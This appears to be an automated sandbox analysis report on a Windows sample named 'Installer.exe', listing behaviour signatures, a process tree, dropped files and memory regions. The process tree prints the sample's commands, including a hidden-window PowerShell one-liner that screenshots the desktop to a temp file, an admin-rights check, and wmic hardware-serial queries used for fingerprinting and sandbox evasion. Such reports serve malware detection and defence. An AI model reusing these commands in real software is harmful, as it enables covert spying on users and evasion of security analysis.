Resubmissions

31/07/2026, 12:08

260731-pa47zsab58

31/07/2026, 11:57

260731-n4mpcssxcy8

Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    31/07/2026, 11:57

General

  • Target
    Installer.exe
  • Size 168.1MB
  • Sample260731-n4mpcssxcy
  • SHA256 f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    1⤵
    • Checks computer location settings
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3080
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "ps -p 3268 -o comm=,ppid="
      2⤵
      • Executes a command shell one-liner
      PID:4996
    • C:\Users\Admin\AppData\Local\Temp\Installer.exe
      "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1720 --field-trial-handle=1724,i,12671740068484323088,5612725639887940514,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
      2⤵
        PID:2508
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4812
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1440
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:4060
        • C:\Users\Admin\AppData\Local\Temp\Installer.exe
          "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1968 --field-trial-handle=1724,i,12671740068484323088,5612725639887940514,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
          2⤵
            PID:1732
          • C:\Users\Admin\AppData\Local\Temp\Installer.exe
            "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\resources\app" --enable-sandbox --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2320 --field-trial-handle=1724,i,12671740068484323088,5612725639887940514,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
            2⤵
            • Checks computer location settings
            PID:2096
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1060
            • C:\Windows\system32\reg.exe
              reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
              3⤵
                PID:2988
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_00c8e3.png\"); $g.Dispose(); $bmp.Dispose()""
              2⤵
              • Hide Artifacts: Hidden Window
              • Suspicious use of WriteProcessMemory
              PID:2432
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_00c8e3.png\"); $g.Dispose(); $bmp.Dispose()"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1724
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5068
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic baseboard get serialnumber /value
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:580
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4092
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic diskdrive get serialnumber /value
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:996
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3984
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic baseboard get serialnumber /value
                3⤵
                  PID:1748
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4424
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic diskdrive get serialnumber /value
                  3⤵
                    PID:3076
                • C:\Users\Admin\AppData\Local\Temp\Installer.exe
                  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=3136 --field-trial-handle=1724,i,12671740068484323088,5612725639887940514,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4484

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    __PSScriptPolicyTest_snaua1xc.ekn.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_snaua1xc.ekn.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    wusetup_00c8e3.png

                    • Path C:\Users\Admin\AppData\Local\Temp\wusetup_00c8e3.png
                    • Size 498KB
                    • SHA256 a71ffea008251677fd88af0b0478a403685d62aa098035642c169c25cc767d0c
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    default.dic

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
                    • Size 2B
                    • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                    • MD5 SHA1 SHA512

                    Network Persistent State

                    • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State
                    • Size 300B
                    • SHA256 73395e096134e3c66c359e48ce915ac3261332992f123f8ab6f196bc2f515ee3
                    • MD5 SHA1 SHA512 TLSH

                    Network Persistent State~RFe5984c6.TMP

                    • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State~RFe5984c6.TMP
                    • Size 59B
                    • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                    • MD5 SHA1 SHA512 TLSH

                    memory/1724-63-0x0000026D3AFA0000-0x0000026D3AFC2000-memory.dmp

                    memory/2096-79-0x0000021A48000000-0x0000021A480AD000-memory.dmp

                    memory/2096-25-0x00007FFFEB2B0000-0x00007FFFEB2B1000-memory.dmp

                    memory/2096-24-0x00007FFFEB2A0000-0x00007FFFEB2A1000-memory.dmp

                    memory/4484-100-0x000001D15CE00000-0x000001D15CE01000-memory.dmp

                    memory/4484-101-0x000001D15CE00000-0x000001D15CE01000-memory.dmp

                    memory/4484-102-0x000001D15CE00000-0x000001D15CE01000-memory.dmp

                    memory/4484-112-0x000001D15CE00000-0x000001D15CE01000-memory.dmp

                    memory/4484-111-0x000001D15CE00000-0x000001D15CE01000-memory.dmp

                    memory/4484-110-0x000001D15CE00000-0x000001D15CE01000-memory.dmp

                    memory/4484-109-0x000001D15CE00000-0x000001D15CE01000-memory.dmp

                    memory/4484-108-0x000001D15CE00000-0x000001D15CE01000-memory.dmp

                    memory/4484-107-0x000001D15CE00000-0x000001D15CE01000-memory.dmp

                    memory/4484-106-0x000001D15CE00000-0x000001D15CE01000-memory.dmp